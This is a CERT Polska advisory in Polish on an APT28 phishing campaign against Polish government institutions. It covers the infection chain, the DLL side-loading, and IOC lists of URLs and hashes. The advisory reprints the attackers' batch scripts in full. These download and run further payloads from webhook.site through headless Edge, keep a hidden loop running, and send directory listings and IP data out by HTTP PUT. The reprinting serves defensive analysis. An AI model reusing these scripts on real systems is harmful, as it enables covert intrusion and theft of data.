Zgłoś incydent
Zgłoś incydent

Kampania APT28 skierowana przeciwko polskim instytucjom rządowym
08 maja 2024 | CERT Polska | #ostrzeżenie, #apt, #apt28

Zespoły CERT Polska (CSIRT NASK) oraz CSIRT MON zaobserwowały w tym tygodniu szeroko zakrojoną kampanię szkodliwego oprogramowania wymierzoną w polskie instytucje rządowe. Na podstawie wskaźników technicznych i podobieństwa do ataków opisywanych w przeszłości (m.in. na podmioty ukraińskie) można powiązać kampanię ze zbiorem aktywności APT28, który jest kojarzony z Głównym Zarządem Wywiadowczym Sztabu Generalnego Sił Zbrojnych Federacji Rosyjskiej (GRU).

Analiza techniczna

W kampanii zostały rozesłane wiadomości e-mail o treści, która ma wywołać zainteresowanie u odbiorcy i nakłonić go do kliknięcia w link. Przykład użytej wiadomości przedstawiamy poniżej:

Link kieruje do adresu w domenie run.mocky.io. Jest to darmowy serwis używany przez programistów do tworzenia i testowania interfejsów API. W tym przypadku został on wykorzystany jedynie do przekierowania na kolejny serwis – webhook.site, pozwalający na logowanie wszelkich zapytań do wygenerowanego adresu oraz konfigurowanie odpowiedzi na nie. Serwis ten również jest popularny wśród osób związanych z IT. Wykorzystanie darmowych, powszechnie używanych usług, zamiast własnych domen, pozwala na znaczne ograniczenie wykrycia linków jako złośliwe, a jednocześnie obniża koszt prowadzonej operacji. Jest to trend, który obserwujemy u wielu grup APT.

Z serwisu webhook.site zostaje ostatecznie pobrane archiwum ZIP, którego nazwa sugeruje zawartość w postaci zdjęć. Zaczyna się ona od IMG-, a kończy losową liczbą - np. IMG-238279780.zip. Po kliknięciu w archiwum, przy domyślnych ustawieniach systemu Windows (ukryte rozszerzenia i brak pokazywania ukrytych plików), ofierze ukazuje się następujący widok:

Tak naprawdę archiwum zawiera trzy pliki:

  • kalkulator windowsowy ze zmienioną nazwą, np. IMG-238279780.jpg.exe, który udaje zdjęcie i zachęca ofiarę do kliknięcia,
  • skrypt .bat (plik ukryty),
  • fałszywą bibliotekę WindowsCodecs.dll (plik ukryty).

Jeśli ofiara uruchomi plik IMG-238279780.jpg.exe (będący nieszkodliwym kalkulatorem), podczas startu spróbuje on załadować bibliotekę WindowsCodecs.dll, która została podstawiona przez atakujących. Jest to technika znana jako DLL Side-Loading. Jedyną rolą biblioteki DLL jest uruchomenie dołączonego skryptu BAT:

@echo off
if not DEFINED IS_MINIMIZED (
    set IS_MINIMIZED=1
    start "" /min "%~dpnx0" %*
    exit
)

start msedge data:text/html;base64,PHRpdGxlPklNRy02MzQ5MjMzNjk2OC5qcGc8L3RpdGxlPjxpZnJhbWUgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9hYWU0MmFlNC1mM2VhLTRkYmYtYTMzZi0zZmY1YjFiYWVjOWIiIHN0eWxlPSJwb3NpdGlvbjpmaXhlZDsgdG9wOjA7IGxlZnQ6MDsgYm90dG9tOjA7IHJpZ2h0OjA7IHdpZHRoOjEwMCU7IGhlaWdodDoxMDAlOyBib3JkZXI6bm9uZTsgbWFyZ2luOjA7IHBhZGRpbmc6MDsgb3ZlcmZsb3c6aGlkZGVuOyB6LWluZGV4Ojk5OTk5OTsiPjwvaWZyYW1lPg==
timeout 15 > nul
move %userprofile%\downloads\IMG-63492336968.jpg %programdata%\IMG-63492336968.cmd > nul
type nul > %userprofile%\downloads\IMG-63492336968.jpg
call %programdata%\IMG-63492336968.cmd
del /q /f /a %0
exit

Skrypt BAT otwiera przeglądarkę Microsoft Edge, w której ładowana jest zawartość strony zakodowana w base64, aby pobrać kolejny skrypt batchowy (również korzystając z serwisu webhook.site). Jednocześnie w przeglądarce wyświetlane są zdjęcia rzeczywistej kobiety w stroju kąpielowym wraz z odnośnikami do jej prawdziwych kont na platformach social media. Ma to na celu uwiarygodnić narrację atakujących oraz uśpić czujność odbiorcy. Skrypt zapisuje pobrany plik z rozszerzeniem .jpg na dysku, zmienia rozszerzenie z .jpg na .cmd oraz ostatecznie go wykonuje.

@echo off & (
    echo On Error Resume Next
    echo CreateObject("WScript.shell").Run "^""%%programdata%%\\dee016bf-21a2-45dd-86b4-6099747794c4.bat^"^^"", 0, False
    echo Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile Wscript.ScriptFullName, True
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & echo del %%0 ^& for /l %%%%n in () do (
    chcp 65001 ^& timeout 300 ^& taskkill /im msedge.exe /f ^& timeout 5 ^& del /q /f "%%userprofile%%\Downloads\*.css" ^& start "" msedge --headless=new --disable-gpu data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgiaHR0cHM6Ly93ZWJob29rLnNpdGUvZGVlMDE2YmYtMjFhMi00NWRkLTg2YjQtNjA5OTc0Nzc5NGM0Iik7PC9zY3JpcHQ+ ^& timeout 30 ^& taskkill /im msedge.exe /f ^& move /y "%%userprofile%%\Downloads\*.css" "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& call "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd" ^& del /q /f "%%programdata%%\dee016bf-21a2-45dd-86b4-6099747794c4.cmd"
) > "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.bat" & (
    echo ^<!DOCTYPE html^>^<html^>^<body^>^<script^>var xhr = new XMLHttpRequest^(^);var text = String.raw^`)
) > "%programdata%\uaxhexd.tab" & (
    echo ^`;xhr.open^(^'PUT^', ^'https://webhook.site/dee016bf-21a2-45dd-86b4-6099747794c4^'^);xhr.setRequestHeader^(^'Content-Type^', ^'text/html^'^);xhr.send^(text^);^</script^>^</body^>^</html^>
) > "%programdata%\ohqddqtqc.tsv" & start "" "%programdata%\dee016bf-21a2-45dd-86b4-6099747794c4.vbs" & del %0

Ten skrypt stanowi główną pętlę programu – w pętli for /l %n in () najpierw czeka 5 minut, a następnie analogicznie jak poprzednio, za pomocą przeglądarki Microsoft Edge i odwołania do webhook.site, pobiera kolejny skrypt i go wykonuje. Tym razem pobierany jest plik z rozszerzeniem .css, po czym następuje zmiana jego rozszerzenia na .cmd i uruchomienie.

Otrzymany przez nas ostatecznie skrypt zbiera wyłącznie informacje o komputerze (adres IP oraz lista plików w wybranych folderach), na którym się uruchomiły, a następnie przesyłają je do serwera C2, ale prawdopodobnie komputery ofiar wybrane przez atakujących otrzymują inny zestaw skryptów końcowych.

@echo off
chcp 65001
taskkill /im msedge.exe /f
(dir "%userprofile%\.." & dir "%userprofile%\Desktop" & dir "%userprofile%\Downloads" & dir "%userprofile%\Documents" & dir "%ProgramFiles%" & dir "%ProgramFiles(x86)%" & curl -k https://ipinfo.io) > "%programdata%\bwjxyeysed.diff"
copy "%programdata%\*.tab" + "%programdata%\*.diff" + "%programdata%\*.tsv" "%programdata%\nydgflyhuv.html"
(echo %programdata%) > "%programdata%\gjvrexfiac"
set /p gjvrexfiac=<"%programdata%\gjvrexfiac"
timeout 5
start "" msedge --headless=new --disable-gpu "file:///%gjvrexfiac%/nydgflyhuv.html"
timeout 30
taskkill /im msedge.exe /f
del /q /f "%userprofile%\Downloads\*.css"
del /q /f "%programdata%\gjvrexfiac"
del /q /f "%programdata%\*.diff"
del /q /f "%programdata%\nydgflyhuv.html"

Cały przebieg ataku został pokazany na poniższym diagramie. Jego przebieg jest tożsamy z opisywanym w przeszłości publicznie złośliwym oprogramowaniem HEADLACE.

Rekomendacje

Podstawowym celem tej publikacji jest zakłócenie wrogich aktywności i umożliwienie wykrycia oraz analizy opisywanych działań. Zespół CERT Polska rekomenduje, aby administratorzy sieci sprawdzili, czy pracownicy organizacji nie byli obiektem ataku.

  • Zalecamy weryfikację odnotowanych w ostatnim czasie połączeń do domen webhook.site oraz run.mocky.io oraz ich obecności w otrzymywanych wiadomościach e-mail. Podkreślamy jednocześnie, że są to serwisy powszechnie wykorzystywane przez programistów i ruch do nich nie musi oznaczać infekcji.
  • Jeśli organizacja nie korzysta z wymienionych serwisów, zalecamy rozważenie blokady wyżej wymienionych domen na urządzeniach brzegowych.
  • Niezależnie od tego, czy korzystają Państwo z ww. serwisów, zalecamy również filtrowanie e-maili pod kątem linków w domenach webhook.site oraz run.mocky.io, ponieważ przypadki ich prawidłowego użycia w treści e-maila są bardzo rzadkie.

Serwisy tego typu były już wielokrotnie wykorzystywane w kampaniach związanych z grupami APT.

Jeśli istnieje podejrzenie infekcji szkodliwym oprogramowaniem, rekomendujemy odłączenie urządzenia od sieci (zarówno przewodowej, jak i bezprzewodowej) oraz niezwłoczny kontakt z właściwym zespołem CSIRT.

  • CSIRT GOV – centralna administracja rządowa i infrastruktura krytyczna,
  • CSIRT MON – instytucje wojskowe,
  • CSIRT NASK – wszystkie pozostałe.

IOC

URL-e:

https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=2d07e34c-3dd3-45e8-865c-3888a65ab885
https://webhook.site/2d07e34c-3dd3-45e8-865c-3888a65ab885
https://webhook.site/4ba464d9-0675-4a7a-9966-8f84e93290ba
https://webhook.site/577b82c3-7249-44e9-9353-5eab106fead6
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=127df518-52be-46c5-bbb2-0479f4b9693b
https://webhook.site/127df518-52be-46c5-bbb2-0479f4b9693b
https://webhook.site/0ef0dcf7-f258-4d02-b274-cbf62a2000cf
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=c1112bb3-0e6e-4ba4-abe7-fb31388b47ad
https://webhook.site/c1112bb3-0e6e-4ba4-abe7-fb31388b47ad
https://webhook.site/3f396db1-2016-4b69-9ec3-ffc417d5f3aa
https://webhook.site/66ea3bbc-29dc-4ece-b804-71c6ec7b77b6
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=efb79108-a2b5-4cba-844d-6352bb8fad8c
https://webhook.site/efb79108-a2b5-4cba-844d-6352bb8fad8c
https://webhook.site/9c87649c-220d-425d-8331-ffc8d9b94a38
https://webhook.site/c618ea32-2923-4c12-8151-8d0002b56af0
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=f97bcee0-0d91-4503-a30c-027f1b34820f
https://webhook.site/f97bcee0-0d91-4503-a30c-027f1b34820f
https://webhook.site/9a9cdaf8-120c-4de9-b17a-d6d8e2796a3b
https://webhook.site/e13d23aa-b6f8-4491-9adc-71f7f8c438df
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=5e4c7949-30a2-4477-9e9b-e8828fc76a1b
https://webhook.site/5e4c7949-30a2-4477-9e9b-e8828fc76a1b
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=5100fcc0-f6be-4b09-8c58-5a8a6706ec4f
https://webhook.site/5100fcc0-f6be-4b09-8c58-5a8a6706ec4f
https://webhook.site/7674f06b-e435-4470-a594-6d59578c552d
https://webhook.site/dee016bf-21a2-45dd-86b4-6099747794c4
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=508da0df-7ec9-420e-b1fe-958fbbe699d1
https://webhook.site/508da0df-7ec9-420e-b1fe-958fbbe699d1
https://webhook.site/bec23763-b8d9-4191-99ba-04a4a163b4de
https://webhook.site/90fea98f-fbdb-4847-be03-409d02a43caf
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=bc349b93-b047-42f8-a421-d45e3ec94dc5
https://webhook.site/bc349b93-b047-42f8-a421-d45e3ec94dc5
https://webhook.site/5a8758c6-5702-4fea-9d5e-4fbdb6dd795f
https://webhook.site/b10bd697-1a9f-4ec7-aa2f-1fa84ad916a1
https://run.mocky.io/v3/87f277a5-a081-4976-8e12-351b6c02a903?q=1658772a-4de8-4368-a604-980c90b0a1ed
https://webhook.site/1658772a-4de8-4368-a604-980c90b0a1ed
https://webhook.site/4fe5885c-f2f6-4905-8bc7-aef1a046a134
https://webhook.site/0d2dc90e-2d5e-49f8-8249-d7ab955c387a

Hashe SHA256 i nazwy plików:

2bd9591bea6b1f4128e4819e3888b45b193d5a2722672b839ad7ae120bf9af3d IMG-1030873974629655576.zip
52b8bfbd9ef8ecfd54e71c74a7131cb7b3cc61ea01bc6ce17cbe7aef14acc948 WindowsCodecs.dll
4001498463dc8f8010ef1cc803b67ac434ff26d67d132933a187697aa2e88ef1 bcpcn.bat
158d49cce44968ddd028b1ef5ebc2a5183a31f05707f9dc699f0c47741be84db IMG-1030873974629655576.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 kpqsklcrdsonoknaote.css
7c6689f591ce2ccd6713df62d5135820f94bdbf2e035ab70e6b3c6746865a898 IMG-7214532.zip
c968f9dd1f16a435901d2b93a028a0ae2508e943c8f480935a529826deb3dbeb WindowsCodecs.dll
34cabc0ff2f216830ffe217e8f8d0fa4b7d3a167576745aba48b7e62f546207b zdesdyf.bat
e1069c8677d64226f7881e8504ed7a13f79f43f143842ea6c1c8b2cc680ed6c2 IMG-238279780.zip
43ff178e428373512b83f85db32f364fc19c9a4ac7317835bd5089915b8727b5 WindowsCodecs.dll
ca700d44db08ad2ebd52278a3b303f8c13e44847a507fb317ea5dfb6cc924a76 hjpxswjdkayzwfphx.bat
bab7e81395e1e9ee1680c3bb702c44b1b13ee5e67fa893d765284ae168de8369 IMG-238279780.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 vngradn.css
38ae06833528db02cb3a315d96ad2a664b732b5620675028a8c5e059e820514f IMG-810629002957075004.zip
ee433ddd5988ab7325b92378c6d3cb736ddb7f1bad75b939e8c931f417660129 WindowsCodecs.dll
9ddf5561562a62961a6fcac1dc49633cb79f5d3c8cc9b95fd9f87e7be70d2d35 yvrlqpkgngppjp.bat
dfd1f3229f903887f2474f361a26273dc63a6221883e86c5eea2dec9521dc081 IMG-810629002957075004.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 ovhupm.css
949b0bd52a4ed47bc4a342e5a29bff2bcdb0169d2fbf0f052509b65229e19b6e IMG-368912.zip
642315d3091a3dfba6c0ed06f119fc40d21f3d84574b53e045baf8910e1fb38c WindowsCodecs.dll
fb42a4e0f2dd293fd6e7acb8d67d67698a0ae7685bc5462685acf4c2f73d0b44 udkozfnsljmbpjs.bat
07e539373177801e3fc5427bf691c0315a23b527d39e756daad6a9fc48e846bc IMG-368912.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 wrkybdizscvb.css
5d2675572e092ba9aece8c8d0b9404b3adbd27db1312cd659ba561b86301fe73 IMG-451458326.zip
f348a0349fdec136c3ac9eaee9b8761da6bd33df82056e4dd792192731675b00 WindowsCodecs.dll
351f10d7df282afed4558d765aa5018af0711fa4f37fa7eb82716313f4848a2f illgvjrfyevoqxk.bat
85f10d3df079b4db3a83ae3c4620c58a8362df2be449f8ce830d087ab41c7a52 IMG-451458326.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 mzmtfylpywlyurkcd.css
745cfce3e0242d0d5f6765b1f74608e9086d7793b45dbd1747f2d2778dec6587 IMG-0601181.zip
598a8b918d0d2908a756475aee1e9ffaa57b110d8519014a075668b8b1182990 WindowsCodecs.dll
ef67f20ff9184cab46408b27eaf12a5941c9f130be49f1c6ac421b546dac2bac hzjtajjklr.bat
96766dfbf6c661ee3e9f750696803824a04e58402c66f208835a7acebfab1cfc IMG-0601181.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 daukbpnawvkfcjcfzu.css
4f0f9a2076b0fd14124bed08f5fc939bada528e7a8163912a4ad1ec7687029a3 IMG-89848928.zip
ae4e94c5027998f4ce17343e50b935f448e099a89266f9564bd53a069da2ca9a WindowsCodecs.dll
d714fff643d53fdd56cf9dcb3bd265e1920c4b5f34a4668b584a0619703d8a3e jxfgibtfxiewsdvmeg.bat
b3e60909036c4110eb7e3d8c0b1db5be5c164fcc32056885e4f1afe561341afd IMG-89848928.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 cvywrkrhhfzza.css
5883842c87ca6b59236257e15db983cc88d4948cf0d649455f8f393899673fcc IMG-3907894910429.zip
0873a19d278a7a8e8cff2dc2e7edbfddc650d8ea961162a6eb3cb3ea14665983 WindowsCodecs.dll
e826dc4f5c16a1802517881f32f26061a4cbc508c3f7944540a209217078aa11 bmpxjphdzwommblflx.bat
750948489ed5b92750dc254c47b02eb595c6ffcefded6f9d14c3482a96a6e793 IMG-3907894910429.jpg
939e664afa589272c4920b8463d80757afe5b1abd294cd9e59104c04da023364 qseybqanfkus.css
Udostępnij: